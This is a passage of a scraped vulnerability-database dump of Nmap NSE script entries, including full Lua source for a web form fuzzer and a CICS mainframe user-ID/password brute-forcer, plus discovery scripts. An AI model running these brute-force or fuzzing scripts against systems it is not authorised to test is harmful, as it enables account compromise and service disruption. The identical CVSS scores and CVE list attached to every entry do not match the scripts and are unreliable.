/form.html Action: /check_form.php\n | fieldfoo\n | integer lengths that caused errors:\n |_ 1, 2\n \n\n## Requires \n\n * [shortport](<../lib/shortport.html>)\n * [http](<../lib/http.html>)\n * [httpspider](<../lib/httpspider.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [table](<>)\n * [url](<../lib/url.html>)\n * [rand](<../lib/rand.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-06-10T23:05:42", "type": "nmap", "title": "http-form-fuzzer NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-09-08T17:07:06", "id": "NMAP:HTTP-FORM-FUZZER.NSE", "href": "https://nmap.org/nsedoc/scripts/http-form-fuzzer.html", "sourceData": "description = [[\nPerforms a simple form fuzzing against forms found on websites.\nTries strings and numbers of increasing length and attempts to\ndetermine if the fuzzing was successful.\n]]\n\n---\n-- @usage\n-- nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 <host>\n--\n-- This script attempts to fuzz fields in forms it detects (it fuzzes one field at a time).\n-- In each iteration it first tries to fuzz a field with a string, then with a number.\n-- In the output, actions and paths for which errors were observed are listed, along with\n-- names of fields that were being fuzzed during error occurrence. Length and type\n-- (string/integer) of the input that caused the error are also provided.\n-- We consider an error to be either: a response with status 500 or with an empty body,\n-- a response that contains \"server error\" or \"sql error\" strings. ATM anything other than\n-- that is considered not to be an 'error'.\n-- TODO: develop more sophisticated techniques that will let us determine if the fuzzing was\n-- successful (i.e. we got an 'error'). Ideally, an algorithm that will tell us a percentage\n-- difference between responses should be implemented.\n--\n-- @output\n-- PORT STATE SERVICE REASON\n-- 80/tcp open http syn-ack\n-- | http-form-fuzzer:\n-- | Path: /register.html Action: /validate.php\n-- | age\n-- | integer lengths that caused errors:\n-- | 10000, 10001\n-- | name\n-- | string lengths that caused errors:\n-- | 40000\n-- | Path: /form.html Action: /check_form.php\n-- | fieldfoo\n-- | integer lengths that caused errors:\n-- |_ 1, 2\n--\n-- @args http-form-fuzzer.targets a table with the targets of fuzzing, for example\n-- {{path = /index.html, minlength = 40002}, {path = /foo.html, maxlength = 10000}}.\n-- The path parameter is required, if minlength or maxlength is not specified,\n-- then the values of http-form-fuzzer.minlength or http-form-fuzzer.maxlength will be used.\n-- Defaults to {{path=\"/\"}}\n-- @args http-form-fuzzer.minlength the minimum length of a string that will be used for fuzzing,\n-- defaults to 300000\n-- @args http-form-fuzzer.maxlength the maximum length of a string that will be used for fuzzing,\n-- defaults to 310000\n--\n\nauthor = {\"Piotr Olma\", \"Gioacchino Mazzurco\"}\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"fuzzer\", \"intrusive\"}\n\nlocal shortport = require 'shortport'\nlocal http = require 'http'\nlocal httpspider = require 'httpspider'\nlocal stdnse = require 'stdnse'\nlocal string = require 'string'\nlocal table = require 'table'\nlocal url = require 'url'\nlocal rand = require 'rand'\n\n-- check if the response we got indicates that fuzzing was successful\nlocal function check_response(response)\n if not(response.body) or response.status==500 then\n return true\n end\n if response.body:find(\"[Ss][Ee][Rr][Vv][Ee][Rr]%s*[Ee][Rr][Rr][Oo][Rr]\") or response.body:find(\"[Ss][Qq][Ll]%s*[Ee][Rr][Rr][Oo][Rr]\") then\n return true\n end\n return false\nend\n\n-- check from response if request was too big\nlocal function request_too_big(response)\n return response.status==413 or response.status==414\nend\n\n-- checks if a field is of type we want to fuzz\nlocal function fuzzable(field_type)\n return field_type==\"text\" or field_type==\"radio\" or field_type==\"checkbox\" or field_type==\"textarea\"\nend\n\n-- generates postdata with value of \"sampleString\" for every field (that is fuzzable()) of a form\nlocal function generate_safe_postdata(form)\n local postdata = {}\n for _,field in ipairs(form[\"fields\"]) do\n if fuzzable(field[\"type\"]) then\n postdata[field[\"name\"]] = \"sampleString\"\n end\n end\n return postdata\nend\n\n-- generate a charset of characters with ascii codes from 33 to 126\n-- you can use http://www.asciitable.com/ to see which characters those actually are\nlocal charset = rand.charset(33,126)\nlocal charset_number = rand.charset(49,57) -- ascii 49 -> 1; 57 -> 9\n\nlocal function fuzz_form(form, minlen, maxlen, host, port, path)\n local affected_fields = {}\n local postdata = generate_safe_postdata(form)\n local action_absolute = httpspider.LinkExtractor.isAbsolute(form[\"action\"])\n\n -- determine the path where the form needs to be submitted\n local form_submission_path\n if action_absolute then\n form_submission_path = form[\"action\"]\n else\n local path_cropped = string.match(path, \"(.*/).*\")\n path_cropped = path_cropped and path_cropped or \"\"\n form_submission_path = path_cropped..form[\"action\"]\n end\n\n -- determine should the form be sent by post or get\n local sending_function\n if form[\"method\"]==\"post\" then\n sending_function = function(data) return http.post(host, port, form_submission_path, nil, nil, data) end\n else\n sending_function = function(data) return http.get(host, port, form_submission_path..\"?\"..url.build_query(data), {no_cache=true, bypass_cache=true}) end\n end\n\n local function fuzz_field(field)\n local affected_string = {}\n local affected_int = {}\n\n for i=minlen,maxlen do -- maybe a better idea would be to increment the string's length by more then 1 in each step\n local response_string\n local response_number\n\n --first try to fuzz with a string\n postdata[field[\"name\"]] = rand.random_string(i, charset)\n response_string = sending_function(postdata)\n --then with a number\n postdata[field[\"name\"]] = rand.random_string(i, charset_number)\n response_number = sending_function(postdata)\n\n if check_response(response_string) then\n affected_string[#affected_string+1]=i\n elseif request_too_big(response_string) then\n maxlen = i-1\n break\n end\n\n if check_response(response_number) then\n affected_int[#affected_int+1]=i\n elseif request_too_big(response_number) then\n maxlen = i-1\n break\n end\n end\n postdata[field[\"name\"]] = \"sampleString\"\n return affected_string, affected_int\n end\n\n for _,field in ipairs(form[\"fields\"]) do\n if fuzzable(field[\"type\"]) then\n local affected_string, affected_int = fuzz_field(field, minlen, maxlen, postdata, sending_function)\n if #affected_string > 0 or #affected_int > 0 then\n local affected_next_index = #affected_fields+1\n affected_fields[affected_next_index] = {name = field[\"name\"]}\n if #affected_string>0 then\n table.insert(affected_fields[affected_next_index], {name=\"string lengths that caused errors:\", table.concat(affected_string, \", \")})\n end\n if #affected_int>0 then\n table.insert(affected_fields[affected_next_index], {name=\"integer lengths that caused errors:\", table.concat(affected_int, \", \")})\n end\n end\n end\n end\n return affected_fields\nend\n\nportrule = shortport.http\n\nfunction action(host, port)\n local targets = stdnse.get_script_args('http-form-fuzzer.targets') or {{path=\"/\"}}\n local return_table = {}\n local minlen = stdnse.get_script_args(\"http-form-fuzzer.minlength\") or 300000\n local maxlen = stdnse.get_script_args(\"http-form-fuzzer.maxlength\") or 310000\n\n for _,target in pairs(targets) do\n stdnse.debug2(\"testing path: \"..target[\"path\"])\n local path = target[\"path\"]\n if path then\n local response = http.get( host, port, path )\n local all_forms = http.grab_forms(response.body)\n minlen = target[\"minlength\"] or minlen\n maxlen = target[\"maxlength\"] or maxlen\n for _,form_plain in ipairs(all_forms) do\n local form = http.parse_form(form_plain)\n if form and form.action then\n local affected_fields = fuzz_form(form, minlen, maxlen, host, port, path)\n if #affected_fields > 0 then\n affected_fields[\"name\"] = \"Path: \"..path..\" Action: \"..form[\"action\"]\n table.insert(return_table, affected_fields)\n end\n end\n end\n end\n end\n return stdnse.format_output(true, return_table)\nend\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:36:15", "description": "Lists modules available for rsync (remote file sync) synchronization.\n\n## Example Usage \n \n \n nmap -p 873 --script rsync-list-modules <ip>\n \n\n## Script Output \n \n \n PORT STATE SERVICE\n 873/tcp open rsync\n | rsync-list-modules:\n | www \twww directory\n | log \tlog directory\n |_ etc \tetc directory\n \n\n## Requires \n\n * [rsync](<../lib/rsync.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2012-02-05T10:10:59", "type": "nmap", "title": "rsync-list-modules NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2015-11-05T20:41:05", "id": "NMAP:RSYNC-LIST-MODULES.NSE", "href": "https://nmap.org/nsedoc/scripts/rsync-list-modules.html", "sourceData": "local rsync = require \"rsync\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\n\ndescription = [[\nLists modules available for rsync (remote file sync) synchronization.\n]]\n\n---\n-- @usage\n-- nmap -p 873 --script rsync-list-modules <ip>\n--\n-- @output\n-- PORT STATE SERVICE\n-- 873/tcp open rsync\n-- | rsync-list-modules:\n-- | www \twww directory\n-- | log \tlog directory\n-- |_ etc \tetc directory\n--\n\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\", \"safe\"}\n\nportrule = shortport.port_or_service(873, \"rsync\", \"tcp\")\n\nlocal function fail (err) return stdnse.format_output(false, err) end\n\naction = function(host, port)\n local helper = rsync.Helper:new(host, port, { module = \"\" })\n if ( not(helper) ) then\n return fail(\"Failed to create rsync.Helper\")\n end\n\n local status, err = helper:connect()\n if ( not(status) ) then\n return fail(\"Failed to connect to rsync server\")\n end\n\n local modules = {}\n status, modules = helper:listModules()\n if ( not(status) ) then\n return fail(\"Failed to retrieve a list of modules\")\n end\n return stdnse.format_output(true, modules)\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:46:46", "description": "Attempts to extract system information from the UPnP service by sending a multicast query, then collecting, parsing, and displaying all responses.\n\n## Script Arguments \n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### max-newtargets, newtargets \n\nSee the documentation for the [target](<../lib/target.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -sV --script=broadcast-upnp-info <target>\n\n## Script Output \n \n \n | broadcast-upnp-info:\n | 1.2.3.50\n | Debian/4.0 DLNADOC/1.50 UPnP/1.0 MiniDLNA/1.0\n | Location: http://1.2.3.50:8200/rootDesc.xml\n | Webserver: Debian/4.0 DLNADOC/1.50 UPnP/1.0 MiniDLNA/1.0\n | Name: BUBBA|TWO DLNA Server\n | Manufacturer: Justin Maggard\n | Model Descr: MiniDLNA on Debian\n | Model Name: Windows Media Connect compatible (MiniDLNA)\n | Model Version: 1\n | 1.2.3.114\n | Linux/2.6 UPnP/1.0 KDL-32EX701/1.7\n | Location: http://1.2.3.114:52323/dmr.xml\n | Webserver: Linux/2.6 UPnP/1.0 KDL-32EX701/1.7\n | Name: BRAVIA KDL-32EX701\n | Manufacturer: Sony Corporation\n |_ Model Name: KDL-32EX701\n\n## Requires \n\n * [stdnse](<../lib/stdnse.html>)\n * [upnp](<../lib/upnp.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2010-11-02T19:05:19", "type": "nmap", "title": "broadcast-upnp-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2015-11-05T20:41:05", "id": "NMAP:BROADCAST-UPNP-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/broadcast-upnp-info.html", "sourceData": "local stdnse = require \"stdnse\"\nlocal upnp = require \"upnp\"\n\ndescription = [[\nAttempts to extract system information from the UPnP service by sending a multicast query, then collecting, parsing, and displaying all responses.\n]]\n\n---\n-- @output\n-- | broadcast-upnp-info:\n-- | 1.2.3.50\n-- | Debian/4.0 DLNADOC/1.50 UPnP/1.0 MiniDLNA/1.0\n-- | Location: http://1.2.3.50:8200/rootDesc.xml\n-- | Webserver: Debian/4.0 DLNADOC/1.50 UPnP/1.0 MiniDLNA/1.0\n-- | Name: BUBBA|TWO DLNA Server\n-- | Manufacturer: Justin Maggard\n-- | Model Descr: MiniDLNA on Debian\n-- | Model Name: Windows Media Connect compatible (MiniDLNA)\n-- | Model Version: 1\n-- | 1.2.3.114\n-- | Linux/2.6 UPnP/1.0 KDL-32EX701/1.7\n-- | Location: http://1.2.3.114:52323/dmr.xml\n-- | Webserver: Linux/2.6 UPnP/1.0 KDL-32EX701/1.7\n-- | Name: BRAVIA KDL-32EX701\n-- | Manufacturer: Sony Corporation\n-- |_ Model Name: KDL-32EX701\n\n-- Version 0.1\n\n-- Created 10/29/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"broadcast\", \"safe\"}\n\n\nprerule = function() return true end\n\n---\n-- Sends UPnP discovery packet to host,\n-- and extracts service information from results\naction = function()\n local helper = upnp.Helper:new()\n helper:setMulticast(true)\n local status, result = helper:queryServices()\n\n if ( status ) then\n return stdnse.format_output(true, result)\n end\nend\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:46:29", "description": "CICS User ID brute forcing script for the CESL login screen.\n\n## Script Arguments \n\n#### cics-user-brute.commands \n\nCommands in a semi-colon separated list needed to access CICS. Defaults to `CICS`.\n\n#### brute.credfile, brute.delay, brute.emptypass, brute.firstonly, brute.guesses, brute.mode, brute.passonly, brute.retries, brute.start, brute.threads, brute.unique, brute.useraspass \n\nSee the documentation for the [brute](<../lib/brute.html#script-args>) library. \n\n#### creds.[service], creds.global \n\nSee the documentation for the [creds](<../lib/creds.html#script-args>) library. \n\n#### passdb, unpwdb.passlimit, unpwdb.timelimit, unpwdb.userlimit, userdb \n\nSee the documentation for the [unpwdb](<../lib/unpwdb.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script=cics-user-brute -p 23 <targets>\n \n nmap --script=cics-user-brute --script-args userdb=users.txt,\n cics-user-brute.commands=\"exit;logon applid(cics42)\" -p 23 <targets>\n \n\n## Script Output \n \n \n PORT STATE SERVICE\n 23/tcp open tn3270\n | cics-user-brute:\n | Accounts:\n | PLAGUE: Valid - CICS User ID\n |_ Statistics: Performed 31 guesses in 114 seconds, average tps: 0\n\n## Requires \n\n * [nmap](<../lib/nmap.html>)\n * [string](<>)\n * [stringaux](<../lib/stringaux.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [shortport](<../lib/shortport.html>)\n * [tn3270](<../lib/tn3270.html>)\n * [brute](<../lib/brute.html>)\n * [creds](<../lib/creds.html>)\n * [unpwdb](<../lib/unpwdb.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-03-01T20:41:19", "type": "nmap", "title": "cics-user-brute NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2019-03-21T04:07:55", "id": "NMAP:CICS-USER-BRUTE.NSE", "href": "https://nmap.org/nsedoc/scripts/cics-user-brute.html", "sourceData": "local nmap = require \"nmap\"\nlocal string = require \"string\"\nlocal stringaux = require \"stringaux\"\nlocal stdnse = require \"stdnse\"\nlocal shortport = require \"shortport\"\nlocal tn3270 = require \"tn3270\"\nlocal brute = require \"brute\"\nlocal creds = require \"creds\"\nlocal unpwdb = require \"unpwdb\"\n\ndescription = [[\nCICS User ID brute forcing script for the CESL login screen.\n]]\n\n---\n-- @args cics-user-brute.commands Commands in a semi-colon separated list needed\n-- to access CICS. Defaults to <code>CICS</code>.\n--\n-- @usage\n-- nmap --script=cics-user-brute -p 23 <targets>\n--\n-- nmap --script=cics-user-brute --script-args userdb=users.txt,\n-- cics-user-brute.commands=\"exit;logon applid(cics42)\" -p 23 <targets>\n--\n-- @output\n-- PORT STATE SERVICE\n-- 23/tcp open tn3270\n-- | cics-user-brute:\n-- | Accounts:\n-- | PLAGUE: Valid - CICS User ID\n-- |_ Statistics: Performed 31 guesses in 114 seconds, average tps: 0\n\n-- @changelog\n-- 2016-08-29 - v0.1 - created by Soldier of Fortran\n-- 2016-10-26 - v0.2 - Added RACF support\n-- 2017-01-23 - v0.3 - Rewrote script to use fields and skip enumeration to speed up testing\n-- 2019-02-01 - v0.4 - Disabled new TN3270E support\n\nauthor = \"Philip Young aka Soldier of Fortran\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"intrusive\", \"brute\"}\nportrule = shortport.port_or_service({23,992}, \"tn3270\")\n\n--- Registers User IDs that no longer need to be tested\n--\n-- @param username to stop checking\nlocal function register_invalid( username )\n if nmap.registry.cicsinvalid == nil then\n nmap.registry.cicsinvalid = {}\n end\n stdnse.debug(2,\"Registering %s\", username)\n nmap.registry.cicsinvalid[username] = true\nend\n\nDriver = {\n new = function(self, host, port, options)\n local o = {}\n setmetatable(o, self)\n self.__index = self\n o.host = host\n o.port = port\n o.options = options\n o.tn3270 = tn3270.Telnet:new(brute.new_socket())\n o.tn3270:disable_tn3270e()\n return o\n end,\n connect = function( self )\n local status, err = self.tn3270:initiate(self.host,self.port)\n self.tn3270:get_screen_debug(2)\n if not status then\n stdnse.debug(\"Could not initiate TN3270: %s\", err )\n return false\n end\n stdnse.debug(2,\"Connect Successful\")\n return true\n end,\n disconnect = function( self )\n self.tn3270:disconnect()\n self.tn3270 = nil\n return true\n end,\n login = function (self, user, pass)\n local commands = self.options['key1']\n local timeout = 300\n local max_blank = 1\n local loop = 1\n local err\n stdnse.debug(2,\"Getting to CICS\")\n local run = stringaux.strsplit(\";%s*\", commands)\n for i = 1, #run do\n stdnse.debug(2,\"Issuing Command (#%s of %s): %s\", i, #run ,run[i])\n self.tn3270:send_cursor(run[i])\n self.tn3270:get_all_data()\n self.tn3270:get_screen_debug(2)\n end\n -- Are we at the logon transaction?\n if not (self.tn3270:find('SIGN ON TO CICS') or self.tn3270:find(\"Signon to CICS\")) then\n -- We might be at some weird screen, lets try and exit it then clear it out\n stdnse.debug(2,\"Sending: F3\")\n self.tn3270:send_pf(3) -- send F3\n self.tn3270:get_all_data()\n stdnse.debug(2,\"Clearing the Screen\")\n self.tn3270:send_clear()\n self.tn3270:get_all_data()\n self.tn3270:get_screen_debug(2)\n stdnse.debug(2,\"Sending 'CESL'\")\n self.tn3270:send_cursor('CESL')\n self.tn3270:get_all_data()\n -- Have we encoutered a slow system?\n if self.tn3270:isClear() then\n self.tn3270:get_all_data(1000)\n end\n self.tn3270:get_screen_debug(2)\n end\n -- At this point we MUST be at CESL to try accounts.\n -- If we're not then we quit with an error\n if not (self.tn3270:find('SIGN ON TO CICS') or self.tn3270:find(\"Signon to CICS\")) then\n local err = brute.Error:new( \"Can't get to CESL\")\n err:setRetry( true )\n return false, err\n end\n\n -- Ok we're good we're at CESL. Send the Userid and Password.\n local fields = self.tn3270:writeable() -- Get the writeable field areas\n local user_loc = {fields[2][1],user} -- This is the 'UserID:' field\n local pass_loc = {fields[4][1],pass} -- This is the 'Password:' field ([2] is a group ID)\n stdnse.verbose('[BRUTE] Trying CICS: ' .. user ..' : ' .. pass)\n stdnse.debug(3,\"[BRUTE] Location:\" .. fields[2][1] .. \" x \" .. fields[4][1])\n self.tn3270:send_locations({user_loc,pass_loc})\n self.tn3270:get_all_data()\n stdnse.debug(2,\"Screen Received for User ID: %s/%s\", user, pass)\n self.tn3270:get_screen_debug(2)\n\n local loop = 1\n while loop < 300 and self.tn3270:find('DFHCE3520') do -- still at Enter UserID message?\n stdnse.verbose('Trying CICS: ' .. user ..' : ' .. pass)\n self.tn3270:send_locations({user_loc,pass_loc})\n self.tn3270:get_all_data()\n stdnse.debug(2,\"Screen Received for User ID: %s/%s\", user, pass)\n self.tn3270:get_screen_debug(2)\n loop = loop + 1 -- We don't want this to loop forever\n end\n\n if loop == 300 then\n local err = brute.Error:new( \"Error with UserID entry\")\n err:setRetry( true )\n return false, err\n end\n\n -- Now check what we received if its valid or not\n if self.tn3270:find('TSS7101E') or\n self.tn3270:find('DFHCE3530') or\n self.tn3270:find('DFHCE3532') then\n -- Top Secret:\n -- TSS7101E Password is Incorrect\n -- RACF:\n -- DFHCE3530/2 Your userid or password is invalid. Please retype both.\n return false, brute.Error:new( \"Incorrect password\" )\n elseif self.tn3270:find('TSS7145E') or\n self.tn3270:find(\"TSS714[0-3]E\") or\n self.tn3270:find('TSS7160E') or\n self.tn3270:find('TSS7120E') then\n -- Top Secret:\n -- TSS7140E Accessor ID Has Expired: No Longer Valid\n -- TSS7141E Use of Accessor ID Suspended\n -- TSS7142E Accessor ID Not Yet Available for Use - Still Inactive\n -- TSS7143E Accessor ID Has Been Inactive Too Long\n -- TSS7120E PASSWORD VIOLATION THRESHOLD EXCEEDED\n -- TSS7145E ACCESSOR ID <acid> NOT DEFINED TO SECURITY\n -- TSS7160E Facility <X> Not Authorized for Your Use\n -- Store the invalid ID in the registry so we don't keep trying it with subsequent passwords\n -- when using default brute library.\n register_invalid(user)\n return false, brute.Error:new( \"User ID Not Able to Use CICS\" )\n elseif self.tn3270:find(\"DFHCE3549\") or\n self.tn3270:find('TSS7000I') or\n self.tn3270:find('TSS7110E Password Has Expired. New Password Missing') or\n self.tn3270:find('TSS7001I') then\n stdnse.verbose(\"Valid CICS UserID / Password: \" .. user .. \"/\" .. pass)\n return true, creds.Account:new(user, pass, creds.State.VALID)\n else\n -- ok whoa, something happened, print the screen but don't store as valid\n stdnse.verbose(\"Valid(?) user/pass with current output \" .. user .. \"/\" .. pass .. \"\\n\" .. self.tn3270:get_screen())\n return false, brute.Error:new( \"Incorrect password\" )\n end\n return false, brute.Error:new(\"Something went wrong, we didn't get a proper response\")\n end\n}\n\n--- Tests the target to see if we can even get to CICS\n--\n-- @param host host NSE object\n-- @param port port NSE object\n-- @param commands optional script-args of commands to use to get to CICS\n-- @return status true on success, false on failure\n\nlocal function cics_test( host, port, commands )\n stdnse.verbose(2,\"Checking for CICS Login Page\")\n local tn = tn3270.Telnet:new()\n tn:disable_tn3270e()\n local status, err = tn:initiate(host,port)\n local cesl = false -- initially we're not at CICS\n if not status then\n stdnse.debug(\"Could not initiate TN3270: %s\", err )\n return false\n end\n tn:get_screen_debug(2) -- prints TN3270 screen to debug\n stdnse.debug(2,\"Getting to CICS\")\n local run = stringaux.strsplit(\";%s*\", commands)\n for i = 1, #run do\n stdnse.debug(2,\"Issuing Command (#%s of %s): %s\", i, #run ,run[i])\n tn:send_cursor(run[i])\n tn:get_all_data()\n tn:get_screen_debug(2)\n end\n tn:get_all_data()\n tn:get_screen_debug(2) -- for debug purposes\n -- We should now be at CICS. Check if we're already at the logon screen\n if tn:find('SIGN ON TO CICS') and tn:find(\"Signon to CICS\") then\n stdnse.verbose(2,\"At CICS Login Transaction (CESL)\")\n tn:disconnect()\n return true\n end\n -- Uh oh. We're not at the logon screen. Now we need to send:\n -- * F3 to exit the CICS program\n -- * CLEAR (a tn3270 command) to clear the screen.\n -- (you need to clear before sending a transaction ID)\n -- * a known default CICS transaction ID with predictable outcome\n -- (CESF with 'Sign-off is complete.' as the result)\n -- to confirm that we were in CICS. If so we return true\n -- otherwise we return false\n local count = 1\n while not tn:isClear() and count < 6 do\n -- some systems will just kick you off others are slow in responding\n -- this loop continues to try getting out of whatever transaction 5 times. If it can't\n -- then we probably weren't in CICS to begin with.\n stdnse.debug(2,\"Sending: F3\")\n tn:send_pf(3) -- send F3\n tn:get_all_data()\n stdnse.debug(2,\"Clearing the Screen\")\n tn:send_clear()\n tn:get_all_data()\n tn:get_screen_debug(2)\n count = count + 1\n end\n if count == 5 then\n return false, 'Could not get to CICS after 5 attempts. Is this even CICS?'\n end\n stdnse.debug(2,\"Sending 'CESL'\")\n tn:send_cursor('CESL')\n tn:get_all_data()\n if tn:isClear() then\n tn:get_all_data(1000)\n end\n tn:get_screen_debug(2)\n\n if tn:find(\"Signon to CICS\") then\n stdnse.verbose(2,\"At CICS Login Transaction (CESL)\")\n tn:disconnect()\n return true\n end\n tn:disconnect()\n return false, 'Could not get to CESL (CICS Logon Screen)'\nend\n\n-- Filter iterator for unpwdb\n-- IDs are limited to 8 alpha numeric and @, #, $ and can't start with a number\n-- pattern:\n-- ^%D = The first char must NOT be a digit\n-- [%w@#%$] = All letters including the special chars @, #, and $.\nlocal valid_name = function(x)\n if nmap.registry.tsoinvalid and nmap.registry.tsoinvalid[x] then\n return false\n end\n return (string.len(x) <= 8 and string.match(x,\"^%D+[%w@#%$]\"))\nend\n\n-- Checks string to see if it follows valid password limitations\nlocal valid_pass = function(x)\n return (string.len(x) <= 8 )\nend\n\naction = function(host, port)\n local commands = stdnse.get_script_args(SCRIPT_NAME .. '.commands') or \"cics\"\n local cicstst, err = cics_test(host, port, commands)\n if cicstst then\n local options = { key1 = commands }\n local engine = brute.Engine:new(Driver, host, port, options)\n stdnse.debug(2,\"Starting CICS Brute Forcing\")\n engine:setUsernameIterator(unpwdb.filter_iterator(brute.usernames_iterator(),valid_name))\n engine:setPasswordIterator(unpwdb.filter_iterator(brute.passwords_iterator(),valid_pass))\n engine.options.script_name = SCRIPT_NAME\n engine.options:setTitle(\"CICS User Accounts\")\n local status, result = engine:start()\n return result\n else\n return err\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:47:39", "description": "Shows AFP shares and ACLs.\n\n## Script Arguments \n\n#### afp.password, afp.username \n\nSee the documentation for the [afp](<../lib/afp.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -sV --script=afp-showmount <target>\n\n## Script Output \n \n \n PORT STATE SERVICE\n 548/tcp open afp\n | afp-showmount:\n | Yoda's Public Folder\n | Owner: Search,Read,Write\n | Group: Search,Read\n | Everyone: Search,Read\n | User: Search,Read\n | Vader's Public Folder\n | Owner: Search,Read,Write\n | Group: Search,Read\n | Everyone: Search,Read\n | User: Search,Read\n |_ Options: IsOwner\n\n## Requires 